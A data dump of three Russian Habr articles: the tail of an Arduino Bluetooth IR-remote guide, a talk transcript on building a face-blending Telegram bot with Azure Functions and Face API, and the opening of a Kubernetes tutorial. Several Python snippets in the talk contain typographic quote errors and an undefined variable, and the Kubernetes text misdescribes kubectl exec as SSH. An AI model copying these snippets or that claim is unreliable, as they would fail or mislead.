Значение 807F08F7 поменять на:
```
if (y == 1) { //коды кнопок для пульта от телевизора
if (x == 97) {
irsend.sendNEC(0x12345678, 32);
delay(40);
}
```
Где 12345678 — это код вашей кнопки.
После редактирования скетча по ваши коды кнопок заливаем скетч в плату Arduino и переходим к установке приложения на телефон.
[ [Скачать приложение для android устройств «Универсальный пульт управления»](http://arduino-project.net/download/arduino-android/Pult.apk) ]
Включаем блютуз в телефоне, ищем наше устройство, создаем пару, потом запускаем приложение **Pult** на телефоне.
При запуске у нас появится экран с красным значком bluetooth в правом нижнем углу, что сигнализирует о том, что мы не подключены к нашему устройству.
После этого жмем на этот значок. У нас должно появится окно со списком всех доступных bluetooth устройств, где мы выбираем наше устройство для подключения.
Теперь мы снова вернулись на главный экран и уже можем управлять телевизором:
Для перехода в режим управления нам потребуется нажать кнопку с надписью **«Player»**. Как я говорил раньше, у нас кнопка с надписью «AV» поменяется на кнопку "**◻**":
Для отключения от нашего устройства просто зажмите кнопку «Power» на несколько секунд.
**Список используемых компонентов с ссылками на продавцов**[Плата Arduino Pro Mini ATMEGA328 5V/16MHz](http://s.click.aliexpress.com/e/JimIu3VnE) — 1 шт.
[Bluetooth модуль HC-05](http://s.click.aliexpress.com/e/AUzjUbuRr) 1 шт.
[Приемник инфракрасного сигнала TSOP4838](http://s.click.aliexpress.com/e/iIm2FYbiY) — 1 шт.
[Инфракрасный диод](http://s.click.aliexpress.com/e/AmIaU72jY) — 1 шт.
Ну и несколько фотографий моего готового устройства.
Получилось, вроде, неплохо. Жду комментарии к статье. | https://habr.com/ru/post/254761/ | null | ru | null |
# Microsoft ♥️ Python
Традиционно считается, что Microsoft хорошо поддерживает языки программирования на [платформе .NET](https://docs.microsoft.com/ru-ru/dotnet/?WT.mc_id=habr-blog-dmitryso): C# или F#. Но это не совсем так — облако Azure поддерживает целый спектр языков, среди которых Python [занимает почетное место](https://azure.microsoft.com/ru-ru/develop/python/?WT.mc_id=habr-blog-dmitryso). А если речь заходит о машинном обучении, то Python здесь любимчик.
Какие сервисы в Microsoft ориентированы на Python, как их использовать и почему Microsoft и Python вместе навсегда, расскажет **Дмитрий Сошников** ([@shwars](https://habr.com/ru/users/shwars/)).
[**Дмитрий Сошников**](http://soshnikov.com/) работает в Microsoft 13 лет, 10 из которых — технологическим евангелистом. В Microsoft Дмитрий защищает пользователей продуктов для разработчиков от разработчиков продуктов в роли Cloud Developer Advocate. Когда возникают проблемы с продуктами компании, ему можно пожаловаться (идеально в виде issue на GitHub). Дмитрий не только посочувствует, но и передаст жалобу разработчикам компании.
Изначально в Microsoft я занимался популяризацией .NET среди студентов и разработчиков компании. Поэтому меня больше знают в .NET-сообществе.
Ещё студентом и аспирантом писал на Java, позже полюбил C#, а ещё позже перешел на F# и стал преподавать функциональное программирование в МФТИ. Разработал популярные онлайн-курсы по C# и F# на русском языке и написал [книгу по F#](http://www.soshnikov.com/fsharp/) — первую на русском языке. Организовал больше 20 студенческих хакатонов по всей России, курировал конкурс [Imagine Cup](https://imaginecup.microsoft.com/) в нашей стране. От хакатонов есть результат, например, российские команды дважды стали победителями мирового чемпионата в 2014 и 2015 годах.
Несколько лет назад, когда ИИ стал популярным, переключился на реальную разработку. Мы работали над пилотными проектами для крупных европейских компаний. Приезжали в определенное место и за неделю разрабатывали proof of concept. Например, распознавание определенных событий на видео, вроде определения того, насколько велика вероятность гола по видео из футбольной трансляции. Пока никто не знает, как хорошо решать такие задачи, но мы пытались.
Для ML-проектов пришлось пересесть с .NET-языков на Python. Это было не очень приятно, до тех пор, пока мы не научились писать на Python слегка специфичным образом, разработав собственную [библиотеку mPyPl](https://github.com/shwars/mPyPl). Она упрощает разработку на Python за счет функциональных конвейеров данных.
Код на mPyPl похож на то, как устроены пайплайны в том же самом F#, и выглядит примерно так:
```
import mPyPl as mp
images = (
mp.get_files('images',ext='.jpg')
| mp.as_field('filename')
| mp.apply('filename','image’, lambda x: imread(x))
| mp.apply('filename','date', get_date)
| mp.apply(['image','date'],'result’, lambda x: imprint(x[0],x[1]))
| mp.select_field('result')
| mp.as_list)
```
Проводить предобработку данных таким образом одно удовольствие. «Ленивые» вычисления позволяют не загружать все данные в память, а обрабатывать по мере необходимости. Наша команда из 10-15 человек перешла на такой стиль и осталась довольна.
Science Art
-----------
Моя дочь любит искусство и занимается в художественной школе. Я пытаюсь заинтересовать её программированием, поэтому стал внимательно изучать пересечение программирования, компьютерных технологий и искусства — Science Art. Например, вот несколько работ в этом стиле.
Изображение справа сгенерировано генеративно-состязательной сетью. Изображение в центре — портрет, совмещённый из нескольких фотографий. Метод совмещения называется «[People Blending](https://soshnikov.com/scienceart/peopleblending-ru/)» или «[когнитивный портрет](http://soshnikov.com/art/cognitiveportrait_ru/)». Подробнее прочитать про то, может ли ИИ создавать искусство, можно [в моей статье на хабре](https://habr.com/ru/company/microsoft/blog/497308/).
*Примечание. Если нравится генеративное искусство — подписывайтесь на инстаграм [@art\_of\_artifical](http://instagram.com/art_of_artificial). Мы стараемся периодически выкладывать новые картины, сгенерированные нейросетью.*
### Когнитивный портрет
Основан на [когнитивных сервисах](http://aka.ms/coserv) Microsoft — предобученных нейросетевых моделях, доступных в облаке. Модели работают с разными возможностями ИИ и доступны в облаке. Список доступных сервисов есть [на сайте Microsoft](https://azure.microsoft.com/ru-ru/services/cognitive-services/). Все возможности сервисов доступны по API.
Из всего списка нам нужно [компьютерное зрение](https://azure.microsoft.com/ru-ru/services/cognitive-services/computer-vision/?WT.mc_id=habr-blog-dmitryso). Его работу можно проверить прямо на сайте, например, на представленных фотографиях. В отдельном окне видно как алгоритм распознает объекты и теги, добавляет описание того, что есть на фотографии.
Можно добавить свою фотографию для распознавания. Например, у моей фотографии в описании появляется «Dmitri Soshnikov holding a sign». Приятно, что разработчики Microsoft меня знают и заложили возможность распознавать моё лицо.
Ещё один из когнитивных сервисов — [Face API](https://docs.microsoft.com/azure/cognitive-services/face/?WT.mc_id=habr-blog-dmitryso). Выделяет ключевые точки лица — «face landmarks».
### Как сделать такой портрет
Для построения когнитивного портрета берём много фотографий, ищем на них ключевые точки и «совмещаем» с помощью аффинных преобразований.
```
def affine_transform(img,attrs):
mc_x = (attrs['mouth_left']['x’]+attrs['mouth_right']['x'])/2.0
mc_y = (attrs['mouth_left']['y’]+attrs['mouth_right']['y'])/2.0
tr = cv2.getAffineTransform(np.float32([
(attrs['pupil_left']['x’], attrs['pupil_left'][‘y’],
(attrs['pupil_right']['x’], attrs['pupil_right']['y']),
(mc_x,mc_y)]), target_triangle)
return cv2.warpAffine(img,tr,(size,size))
```
Весь код для рисования есть в [репозиторий на GitHub](https://github.com/CloudAdvocacy/CognitivePortrait) с примерами и инструкцией. Кроме простого портрета, там есть ещё несколько интересных вариантов.
Самый простой способ построить свой портрет — клонировать репозиторий в [Azure Notebooks](http://bit.do/whyaznb). В клоне будет файл `CognitivePortrait.ipynb`, который содержит основной код для отрисовки портрета с подробным описанием. Также ранее на хабре [я уже описывал этот процесс](https://habr.com/ru/company/microsoft/blog/478356/).
Вам понадобится триальный ключ.
Он находится [по ссылке](https://azure.microsoft.com/ru-ru/try/cognitive-services/?api=face-api&unauthorized=1&WT.mc_id=habr-blog-dmitryso) и будет действовать неделю. Если [создать бесплатный облачный аккаунт](https://azure.microsoft.com/ru-ru/free/?WT.mc_id=habr-blog-dmitryso), и в нём потом объект Face API, то такой ключ будет работать год.
Используем [Python SDK](https://docs.microsoft.com/ru-ru/azure/cognitive-services/face/quickstarts/client-libraries?tabs=windows&pivots=programming-language-python&WT.mc_id=habr-blog-dmitrysoWT.mc_id=habr-blog-dmitryso): один вызов функции позволяет извлечь из фотографии все опорные точки. Дальше аффинные преобразования приводят все точки к фиксированным координатам ключевых точек на лице.
Рисуйте свой портрет или придумывайте новую технику. Я экспериментировал с Биллом Гейтсом. Если вдруг вас посетит вдохновение и захочется придумать что-то своё — присылайте pull request!
Бот
---
Когда говорят о Microsoft, обычно вспоминают.NET или Visual Studio Code, а кто-то до сих пор ругается на Windows Vista. Но самое лучшее, что есть у Microsoft — это облако [Microsoft Azure](https://azure.microsoft.com/en-us/?WT.mc_id=habr-blog-dmitryso).
В нём очень много разных сервисов, и очень сложно знать всё обо всех, особенно учитывая, что постоянно появляются новые. Я остановлюсь на тех, что связаны с Python, и на наиболее полезных.
Рассмотрим пример. Попробуем создать чат-бота, который генерирует когнитивные портреты из фотографий разных людей. Бот будет работать в Telegram: мы отправляем фотографию, она смешивается (как описано выше) с 10 последними фото, которые бот получил до вас, и возвращаем пользователю результирующий портрет.
В **архитектуре бота** мы используем ряд технологий.
* Основа — [**Bot Framework**](https://dev.botframework.com/?WT.mc_id=habr-blog-dmitryso). Позволяет писать ботов для разных каналов связи. С помощью Bot Framework связываем веб-приложение с Telegram, Facebook или Slack. Один код отвечает за взаимодействие с пользователем в разных каналах.
* На стороне сервера используем [**Azure Functions**](https://docs.microsoft.com/azure/azure-functions/?WT.mc_id=habr-blog-dmitryso). Это код, который выполняется, а мы не думаем о том, какой сервер это делает. Такой подход называется «serverless».
* Все фотографии будут храниться [**в облачном хранилище**](https://azure.microsoft.com/services/storage/?WT.mc_id=habr-blog-dmitryso).
### Создаём бота
Для начала инсталлируем библиотеку `botbuilder-core`:
```
pip install botbuilder-core
pip install asyncio
```
Устанавливаем пакет `cookiecutter`, который используется для создания бота.
```
pip install cookiecutter
```
Проверяем, что установлен правильно.
```
$ cookiecutter --help
```
В командной строке вводим команду:
```
cookiecutter
https://github.com/microsoft/botbuilder-python/releases/download/Templates/
echo.zip
```
Команда создаёт бот Echo на основе [шаблона](https://github.com/microsoft/BotBuilder-Samples/tree/master/generators/python/app/templates/echo) на Python. Вводим имя, например, «echo-bot» и описание — «A bot that echoes back user response».
Логику бота (bot.py) меняем по необходимости в файле `on_message_activity`. Например, переведем фразу «You said» на «Вы сказали».
```
async def on_message_activity(self, turn_context: TurnContext):
await turn_context.send_activity(f"You said '{ turn_context.activity.text }'")
```
Копируем последние четыре цифры в адресе в последней строке (обычно это 3978) для следующего шага. Теперь мы готовы запустить бота.
*Примечание: подробно, как создать, тестировать, отладить и развернуть бота, описано в [инструкции](https://docs.microsoft.com/ru-ru/azure/bot-service/python/bot-builder-python-quickstart?view=azure-bot-service-4.0&WT.mc_id=pyconf-event-dmitryso).*
### Запускаем бота
В окне терминала переходим в папку `echo-bot` и установим пакеты, которые требуются для запуска.
```
pip install -r requirements.txt
```
Запускаем приложение (локально):
```
python app.py
```
Чтобы проверить работоспособность бота, запускаем [Bot Emulator](https://aka.ms/botemulator). Он позволит общаться с ботом, не привязывая его к Telegram. Удобно использовать на первых порах.
Запускаем эмулятор и нажимаем «Open Bot». В открывшемся окне в URL-адрес добавляем сохранённые цифры.
Подключаемся и бот запускается. Вводим команды и проверяем, как он работает.
### Going Serverless
Добавляем логику для обработки фотографий, которая будет реализована как [Azure Functions](http://aka.ms/pyfunc). Azure Functions — это модель программирования. Позволяет писать функции, которые срабатывают на события в облаке.
Azure Function реагирует на события, например, появление объекта в очереди, и автоматически связывается с хранилищами и облачными объектами. Если мы хотим выполнить какое-то действие, когда в хранилище размещается новая фотография, на вход соответствующей функции подаётся уже готовый бинарный файл, и нам необходимо лишь описать логику работы.
У Azure Function два режима тарификации. В первом случае функция работает на выделенной виртуальной машине, а во втором мы не думаем, что, где и как выполняется — облако само об этом позаботится. Именно такую функцию мы и будем использовать.
Логику бота опишем Azure Function, которая реагирует на HTTP-запрос. Будем использовать шаблон HTTP-триггер.
Создаём Azure Function.
```
func init coportrait --python
```
Вызываем функцию `coportrait`.
```
cd coportrait
```
Внутри Azure Function содержится одна или несколько функций, отвечающих за конкретные действия. В нашем случае создадим функцию `pdraw`, которая будет принимать фотографию пользователя и возвращать когнитивный портрет.
```
func new --name pdraw --template "HTTP trigger"
```
Запускаем локально.
```
func start
```
Появится локальный адрес для вызова функции. Если перейдём по ссылке, то попадем на «временный» сайт.
Основная страница сайта выглядит как заглушка. Внутри сайта работает наш API — нужно лишь добавить к адресу сайта `/api/pdraw` (в соответствии с названием нашей функции). Вызываем API и проверяем, что всё работает.
### Анатомия Azure Function
В Azure Function есть две важные части. Первая — Python-функция `__init__.py`. Эта функция получает аргументы и возвращает ответ.
```
def main(req:func.HttpRequest) -> func.HttpResponse:
logging.info('Execution begins…')
name = req.params.get('name')
if name:
return func.HttpResponse(f"Hello {name}!")
else:
return func.HttpResponse(
"Need name query parameter",
status_code=400)
```
Вторая — файл `function.json`, который описывает, какие данные поступают на вход и выход. Это называется **интеграции**.
```
{
"scriptFile": "__init__.py",
"bindings": [
{
"authLevel": "function",
"type": "httpTrigger",
"direction": "in",
"name": "req",
"methods": [
"get",
"post"
]},
{
"type": "http",
"direction": "out",
"name": "$return"
}]}
```
На вход подается запрос, в котором используются методы GET и POST, и функция срабатывает по HTTP-триггеру. Входы и выходы могут быть разными. Например, как выход, может использоваться файл в хранилище, чтобы функция работала невидимо внутри облака, выполняя определённые действия. С помощью Azure Function возможно построить всю микросервисную архитектуру нашего приложения.
### Алгоритм Azure Function
Что будет делать наша Azure Function?
**Много работать с хранилищем** — сохранять в него входящее изображение. Можно работать с хранилищем, привязав к нему Azure Function в качестве входных данных. В нашем случае так сложнее — нам нужно работать с тремя контейнерами из одного хранилища, поэтому, чтобы не создавать три привязки, работаю с хранилищем обычными облачными средствами.
Как работать с хранилищем, подробно описано в [документации](http://aka.ms/pyblob), а если коротко — создаем объект BlockBlobService.
```
blob = BlockBlobService(account_name=acct_name, account_key=acct_key)
body = req.get_body()
sec_p = int((end_date-datetime.datetime.now()).total_seconds())
name = f"{sec_p:09d}-"+time.strftime('%Y%m%d-%H%M%S')
```
Дальше создаём `blob` из последовательности байт.
```
blob.create_blob_from_bytes("cin",name,body)
```
Последовательность байтов из запроса (фотографию) помещаем в хранилище.
```
img = imdecode(body)
```
Есть один нюанс — мы смешиваем фотографии с десятью последними. Поэтому у нас должна быть возможность запросить последние 10 файлов в `blob`.
Но такой возможности нет, можно лишь вернуть список всех файлов. Поэтому первое, что мне пришло в голову — создать БД, в которую я буду параллельно помещать все имена и запрашивать, какие из них приходили последними.
Можно поступить и хитрее. Список всех файлов из `blob` выдаётся в алфавитном порядке, поэтому мне нужно придумать такую сортировку файлов, которая бы помещала последние файлы в алфавитном порядке вначале. Подумав не очень долго, придумал считать число секунд до 2021 года. Это число с лидирующими нулями вставляю в начало имени файла: все файлы сортируются в обратном порядке и я могу получить последние 10 фотографий. При этом возникнет «**проблема 2021 года**», но пока предпочитаю её игнорировать.
После того, как изображение записано в хранилище, **обрабатываем** его — выравниваем, чтобы глаза были в определенных позициях. Для этого вызываем когнитивный сервис.
```
cogface = cf.FaceClient(endpoint,CognitiveServicesCredentials(key))
res = cogface.face.detect_with_stream(io.BytesIO(body),
return_face_landmarks=True)
```
Если на картинке найдено лицо — применяем аффинное преобразование.
```
if res is not None and len(res)>0:
tr = affine_transform(img,res[0].face_landmarks.as_dict())
```
Трансформированное изображение сохраняем в другое blob-хранилище — `cmapped`.
```
_,body = cv2.imencode('.jpg',tr)
blob.create_blob_from_bytes("cmapped",name,body.tobytes())
```
В завершение работы, **Azure Function формирует результат**: запрашивает из `blob` 10 последних изображений и усредняет, получая единое изображение. Запрашиваем:
```
imgs = [ imdecode(blob.get_blob_to_bytes("cmapped",x.name).content)
for x in itertools.islice(blob.list_blobs("cmapped"),10) ]
```
Берем `cmapped` — содержимое `blob`, и применяем хитрую функцию `itertools.islice`. Получаем из `blob` изображения, декодируем с помощью OpenCV и у нас готов список изображений. Превращаем его в `np.array` и усредняем по первой оси с изображениями. Также помним, что изначально массив целочисленный, а для усреднения нам нужно его привести к float и обратно.
```
imgs = np.array(imgs).astype(np.float32)/255.0
res = (np.average(imgs,axis=0)*255.0).astype(np.uint8)
```
На выходе получаем усредненное изображение, которое записываем в ещё одно хранилище — финальное.
```
b = cv2.imencode('.jpg',res)[1]
r = blob.create_blob_from_bytes("out",f"{name}.jpg",b.tobytes())
```
Это хранилище находится в облаке и открыто для всех. Поэтому мы получаем URL, которое и возвращаем из функции. Эта ссылка нужна, чтобы отдать картинку пользователю, поскольку боту требуется именно URL изображения, доступный через интернет.
```
return func.HttpResponse(f"https://{act}.blob.core.windows.net/out/{name}.jpg")
```
### Публикуем Azure Function в облако
Теперь создаём Azure Function и помещаем в облако. Для этого удобно использовать Azure CLI, которая позволяет проводить все операции с помощью командной строки.
```
az functionapp create --resource-group
--os-type Linux
--consumption-plan-location westeurope
--runtime python --runtime-version 3.7 --functions-version 2
--name --storage-account
```
*Примечание: полная инструкция по развертыванию в [документации](https://docs.microsoft.com/ru-ru/azure/bot-service/bot-builder-deploy-az-cli?view=azure-bot-service-4.0&tabs=csharp&WT.mc_id=pyconf-event-dmitryso).*
Но мне больше нравится работать визуально на портале. Я так лучше понимаю, что происходит. На портале находим приложение Function App и создаём его — нажимаем «Create».
Настраиваем: указываем название, выбираем «Опубликовать код» и ОС Linux. План — «Serverless»: будем платить только за число вызовов функции, без выделенной машины. При этом Azure будет обеспечивать нам автоматическое масштабирование.
Создали функцию в облаке — теперь она доступна как ресурс. Пока это только «контейнер» для других функций. Чтобы их загрузить, публикуем функцию в облако:
```
$ func azure functionapp publish pdraw
```
Для этой функции также нужно написать requirements.txt. Если мы использовали OpenCV, обязательно это указываем.
Пакеты разворачиваются в облаке и, в конечном итоге, функция начинает работать удаленно. Используя Postman, можем проверить, как она выполняется в интернете — для этого достаточно изменить адрес вызова.
Если вдруг что-то не заработало — на портале можно посмотреть логи выполнения функции — какие ошибки она выдает, когда выполняется в облаке. Например, если забыли указать пакеты в requirements.txt, это сразу будет видно.
Когда функция выполняется, в терминале копируем URL.
URL содержит специальный код, который нужно указать, чтобы функция правильно вызвалась. Код передаем вместе с URL — это «ключ» для дополнительной безопасности.
### Привязываем бот к сервису
Добавим код в функцию `on_message_activity` внутри бота.
```
api_url="https://coportrait.azurewebsites.net/api/pdraw?code=..."
async def on_message_activity(self, turn_context: TurnContext):
a = tc.activity
if a.attachments is not None and len(a.attachments)>0:
url = a.attachments[0].content_url
r = requests.get(url)
res = requests.post(api_url,data=r.content)
url = res.text
message = MessageFactory.attachment(
CardFactory.hero_card(
HeroCard(title="Here is your cognitive portrait",
images=[CardImage(url=url)])))
await tc.send_activity(message)
else:
await tc.send_activity(f"Please attach a photograph")
```
Наш бот теперь умный — будет обрабатывать сообщения от пользователя. Как он это делает:
* ищет a.attachments;
* если они есть, берет URL первого;
* c URL считывает бинарный объект (картинку) и передает Azure Function;
* вызывает функцию и получает в ответ URL — res.text;
* возвращает hero\_card, чтобы показать в боте картинку;
* для этого hero\_card передает URL картинки;
* если вложений нет, бот пишет сообщение с просьбой добавить фотографию.
Логика бота может быть и сложнее. Например, с очередью для обработки фотографии, чтобы снизить нагрузку с одной функции, которая и масштабирует, и поворачивает, и смешивает. Более масштабируемая архитектура создаётся с помощью тех же инструментов. Azure Function может быть не одна, а три, например. Но моя задача не усложнять, а показать общий принцип.
### Публикация бота в облако
Возможно, это самый сложный этап. Чаще ботов пишут на Node.js или C#, поэтому для этих языков есть много документации, примеров и поддержка на портале. Для Python ситуация чуть хуже, но разобраться можно.
Вот подробная [инструкция](https://docs.microsoft.com/ru-ru/azure/bot-service/bot-builder-deploy-az-cli?view=azure-bot-service-4.0&tabs=csharp&WT.mc_id=pyconf-event-dmitryso) по публикации ботов в облако. Если кратко, то для бота мы должны создать два приложения:
* веб-приложение — в нём будет выполняться наш бот;
* объект, который будет связывать приложение с Telegram.
Первое, что мы делаем — создаем в Azure Directory приложение с названием «blenderbot» и передаем ему пароль для аутентификации.
```
az ad app create --display-name "blenderbot" --password "%PASSWD%" --available-to-other-tenants
```
Когда приложение создаётся, оно на выходе выдает некоторый appID.
Берём его из JSON-вывода и запоминаем в переменную.
Следующей командой разворачиваем одновременно веб-приложение и объект, который связан с Telegram.
В этом помогает технология **deploymentTemplates** — позволяет одной командой создать внутри облака сразу несколько объектов. deploymentTemplates идёт в комплекте с кодом бота, который мы раньше сгенерировали через `cookiecutter`. Это удобно — вызываем deploymentTemplates и он создаёт в облаке всё, что нужно.
Дальше создаём zip-архив директории со всеми файлами и `requirements.txt`,…
```
bot.zip
```
… вызываем Azure Deploy и всё помещаем в облако.
```
az webapp deployment source config-zip
```
Шаги нетривиальные, особенно со стороны. Но они хорошо описаны в инструкции — со второго раза у меня всё получилось.
### Что в облаке
В результате в облаке появился объект «blenderbot».
Чтобы проверить, что всё работает, выбираем раздел «Test in Web Chat» и можем поговорить с ботом прямо через интерфейс. Теперь свяжем его с Telegram:
* создаём бота в Telegram, начав беседу c системным ботом [botfather](https://habr.com/ru/users/botfather/) (*примечание: [документация](https://tlgrm.ru/docs/bots) от Telegram, как это сделать*);
* даём имя;
* от Telegram получаем access token;
* копируем токен и добавляем его в настройки нашего бота в панели управления Azure;
* находим бота в контактах и общаемся.
Экспериментируйте
-----------------
Мы запустили бота Telegram, по пути изучив облачные веб-технологии Microsoft, которые поддерживают Python.
* [Веб-приложение](http://aka.ms/pyweb) — мы его не видели, но в процессе деплоили.
* Изучили, как писать [ботов](http://aka.ms/pybot) на Python.
* Как вызывать [когнитивные сервисы](http://aka.ms/coserv).
* Как писать [Azure Functions](http://aka.ms/pyfunc).
* Как обращаться к [хранилищу](http://aka.ms/pyblo%20b).
* Посмотрели [Jupiter Notebooks](http://aka.ms/whyaznb) — люблю его больше всего и рекомендую добавить в свой арсенал, вместе с Google Colab.
Подключите [@peopleblenderbot](http://t.me/peopleblenderbot) в Telegram, но помните, что все фотографии оседают в хранилище и показываются другим пользователям. А если хотите поэкспериментировать с разными новыми алгоритмами рисования — [экспериментируйте](http://github.com/CloudAdvocacy/CognitivePortrait) и присылайте pull requests!
В облаке Microsoft есть место всем языкам и технологиям, а Python занимает там почётное место!
> Это была расшифровка доклада Дмитрия с весенней онлайн-конференции Moscow Python Conf 2020. Следующая конференция пройдет осенью и будет называться [Python Live 2020](https://conf.python.ru/moscow/2020). «Live» — потому что это онлайн-конференция о Python с упором **на живое общение и обсуждение**. Нас ждёт четыре дня концентрированного опыта (с 14 по 18 сентября) от разработчиков Яндекса, Мэйл.ру, Microsoft (в том числе и Дмитрия), Parallels, Lamoda и других компаний, общение с core-девелоперами по ключевым вопросам развитию языка, и приглашённые спикеры из смежных областей, например, Go и Erlang.
>
>
>
> Программа конференции практически готова и скоро её можно будет посмотреть [на сайте Python Live 2020](https://conf.python.ru/moscow/2020). Пока подписывайтесь [на рассылку](https://ontico.us8.list-manage.com/subscribe/post?u=719c4e65585ea6013f361815e&id=9dff542c96&SIGNUP=habr.com&STATUS=language&ID=habr.com/ru/company/oleg-bunin/blog/508172/): отправим письмо когда опубликуем полную программу конференции, а еще будем присылать анонсы и расшифровки интересных докладов с прошлых конференций. Также бронируйте [билеты](https://conf.ontico.ru/conference/join/mpc2020-online-conf.html?popup=1) — 1 июля цена повысится. | https://habr.com/ru/post/508172/ | null | ru | null |
# 13 распространенных задач в Kubernetes и способы их решения
Команда [VK Cloud](https://mcs.mail.ru/) перевела статью о проблемах в Kubernetes, с которыми часто сталкиваются инженеры-разработчики при запуске новых масштабируемых отказоустойчивых веб-сервисов.
Задача 1: как запустить контейнер
---------------------------------
Начнем с простого. Вы работали над кодом проекта под названием kangaroo, и сейчас он готов к деплойменту. Для его запуска вы создаете образ контейнера — kangaroo-backend. У вас на работе сервисы запускаются в кластере Kubernetes, так что вам нужно выполнить деплоймент этого контейнера в кластер. Как это сделать? Нужно определить под. Под — это набор из одного или нескольких контейнеров, минимальная единица деплоймента в Kubernetes. Давайте определим под, в котором работает наш контейнер:
```
apiVersion: v1
kind: Pod
metadata:
name: kangaroo-backend
spec:
containers:
- name: kangaroo-backend
image: kangaroo-backend:1.14.2
ports:
- containerPort: 80
```
Этот YAML определяет новый ресурс Kubernetes, деплоймент которого можно выполнить в кластере. Все ресурсы, независимо от того, что вы развертываете, имеют четыре свойства:
1. `apiVersion` — какую версию определения ресурса Kubernetes использовать. У определения ресурсов есть версия, так что Kubernetes может позже изменить его, никому не мешая пользоваться старой версией. Когда вы пишете API, вы наверняка в самом начале указываете «v1» на случай, если позже решите внести изменения, несовместимые с предыдущими версиями. Так вот, Kubernetes делает то же самое.
2. `kind` — все ресурсы относятся к определенному виду, в этом случае к поду.
3. `metadata` — пары «ключ — значение», которые можно использовать для запросов и организации ресурсов в кластере.
4. `spec` — подробная информация о том, деплоймент чего вы выполняете. Она есть у каждого вида. Например, у вида ресурса «под» должен быть ключ `containers`с массивом контейнеров, у каждого из которых есть `image`.
Мы деплоим под, то есть один или несколько контейнеров, поэтому задаем `kind: Pod` и должны указать правильные `spec`. Здесь наша спецификация говорит нам, что мы запускаем один контейнер с образом kangaroo-backend:1.14.2. Еще мы информируем Kubernetes о том, что контейнер будет ожидать передачи данных от порта 80.
Если сохранить его как pod.yaml, можно выполнить деплоймент, запустив `kubectl apply -f pod.yaml`. Поздравляю, вы только что выполнили деплоймент контейнера в кластер Kubernetes.
Задача 2: чем занят мой под
---------------------------
Итак, вы выполнили деплоймент пода. Отлично. Он работает? Он делает то, что вы задумали?
Проверить под можно с помощью `kubectl`. Я предлагаю переименовать = `kubectl` в псевдоним k в вашем терминале, поскольку вы будете часто его использовать. Можно выполнять команду `k get pods`, чтобы просматривать список подов, деплоймент которых вы выполнили. `k describe pod "ID"` выдает дополнительную информацию об этом поде. Если логи пода отправляются в stdout/stderr, используйте `k logs "ID"` для просмотра логов. Если вы не очень представляете себе, что делать с этим подом, то можно с помощью SSH выполнить команду `k exec "pod ID" -it -- /bin/bash`.
Дополнительные советы на эту тему можно найти на странице [Debug Running Pods](https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/).
Задача 3: как перезапустить контейнер после сбоя
------------------------------------------------
С проектом kangaroo вроде все нормально, но раз в несколько дней он сбоит. Это важный сервис, так что нужно, чтобы после сбоя он перезапускался. Если бы это был обычный процесс Linux на обычном Linux-сервере, для его перезапуска можно было бы использовать `shell script` или `systemd`. Но как организовать автоматический перезапуск пода в Kubernetes?
Здесь нам на выручку приходят весомые преимущества Kubernetes: это декларативная, а не императивная система. Вы декларируете, что этот под должен работать. И если когда-нибудь это окажется не так, Kubernetes все исправит. Так что в случае сбоя пода он перезапустится, потому что таким образом восстановится состояние, которое вы декларировали в манифесте. Можно варьировать настройки, меняя [политику перезапуска](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#restart-policy) пода, но весьма разумно применять параметры по умолчанию: всегда перезапускать поды с экспоненциальной задержкой — через 10 секунд, потом через 20, 40 и так далее).
В этом заключается основополагающая идея Kubernetes: надо просто заявить, в каком состоянии должен находиться кластер, и Kubernetes за всем проследит. Благодаря этому вы сможете уделять больше внимания проектированию системы, а также минимизировать ручной запуск команд и автоматизировать восстановление подов.
Задача 4: нужно, чтобы контейнер работал без простоев даже в случае сбоя
------------------------------------------------------------------------
Kubernetes перезапускает бэкенд проекта kangaroo в случае сбоя, но перезапуск подразумевает несколько секунд простоя. А даже кратковременный простой нас не устраивает. Особенно если потенциально может запуститься аварийный цикл, при котором сервис недоступен несколько минут. Вам бы очень хотелось, чтобы бэкенд оставался доступным даже во время сбоев и перезапусков.
Реплики — самый простой способ решить эту задачу. Вы просто одновременно запускаете один и тот же контейнер в нескольких репликах. Если первая выходит из строя, вторая и третья все равно обслуживают трафик. Система должна автоматически запускать новый контейнер, чтобы восстановить нужное количество реплик — 3. Так что когда сбой произойдет снова, вы будете во всеоружии.
В Kubernetes такие вещи делаются с помощью инструмента [Deployments](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/).
```
# Standard Kubernetes fields for all resources: apiVersion, kind, metadata, spec
apiVersion: apps/v1
kind: Deployment
metadata:
name: kangaroo-backend-deployment
labels:
app: kangaroo-backend
# The `spec` is where the Deployment-specific stuff is defined
spec:
replicas: 3
# The `selector` defines which pods will get managed by this deployment.
# We tell Kubernetes to replicate the pod matching the label `app: kangaroo`
selector:
matchLabels:
app: kangaroo
role: backend
# The `template` defines a pod which will get managed by this deployment.
template:
metadata:
# Make sure the pod's labels match the labels the deployment is selecting (see above)
labels:
app: kangaroo
role: backend
# The Pod has its own spec, inside the spec of the Deployment.
# This spec defines what containers the Pod should run.
spec:
containers:
- name: kangaroo-backend
image: kangaroo-backend:1.14.2
ports:
- containerPort: 80
```
Deployments управляет набором подов. В нашем случае это все поды с меткой`app: kangaroo`. Для этого инструмент гарантирует наличие в любой момент времени трех реплик этого пода. Мы также можем вложить определение пода внутрь Deployments.
Если применить этот манифест в Kubernetes, будет создан Deployments. Однако при этом не создаются необходимые поды, так что кратковременно не будет работать ни одна реплика. Но напомним, что Kubernetes — это декларативная, а не императивная система. Так что он заметит, что его кластер не соответствует задекларированному состоянию, и предпримет действия, чтобы это исправить — то есть запустит новую реплику. После этого Kubernetes заново оценивает состояние кластера, замечает, что подов все еще недостаточно, и создает новую реплику. Эти действия повторяются, пока система не будет соответствовать задекларированному состоянию.
Задача 5: контейнер не справляется с объемом поступающего трафика
-----------------------------------------------------------------
Проект kangaroo набирает популярность, и на его бэкенд поступает слишком много трафика. Вы уже знаете решение проблемы — это реплики. Они могут сделать сервис и более производительным, и более стабильным. К счастью, вы уже умеете пользоваться Deployments в Kubernetes, чтобы создавать реплики контейнеров. Так что вы просто меняете спецификации в этом инструменте, увеличивая число реплик. Теперь ваш сервис может масштабироваться в случае увеличения трафика.
